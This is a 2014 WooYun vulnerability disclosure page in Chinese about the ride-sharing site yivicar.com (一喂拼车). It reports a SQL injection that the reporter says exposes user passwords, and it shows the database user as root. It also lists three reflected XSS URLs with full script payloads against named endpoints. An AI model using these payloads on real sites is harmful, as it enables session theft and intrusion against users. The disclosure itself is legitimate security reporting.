WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-080222

漏洞标题：一喂拼车注入漏洞及多处反射XSS

相关厂商：一喂拼车

漏洞作者： BMa

提交时间：2014-10-21 15:43

修复时间：2014-12-05 15:44

公开时间：2014-12-05 15:44

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2014-10-21： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-12-05： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

一喂拼车注入漏洞导致所有用户及密码泄露（用户不太多），有apk以及app
反射XSS一般，还有一个存储型xss，在cookie里，不好展示，提出来

详细说明：

http://www.yivicar.com/home/help/view/id/47/name/foot.html

current database:    'pinchedata'
current user:    'root@localhost'

http://www.yivicar.com/home/work/index.html?goaddxy=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28document.cookie%29%3C/scRipt%3E

www.yivicar.com/home/now/index.html?goaddxy='"--></style></scRipt><scRipt>alert(doacument.cookie)</scRipt>

http://www.yivicar.com/home/index/work_map.html?who=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert%28document.cookie%29%3C/scRipt%3E

漏洞证明：

修复方案：

版权声明：转载请注明来源 BMa@乌云

漏洞回应

漏洞评价：

评论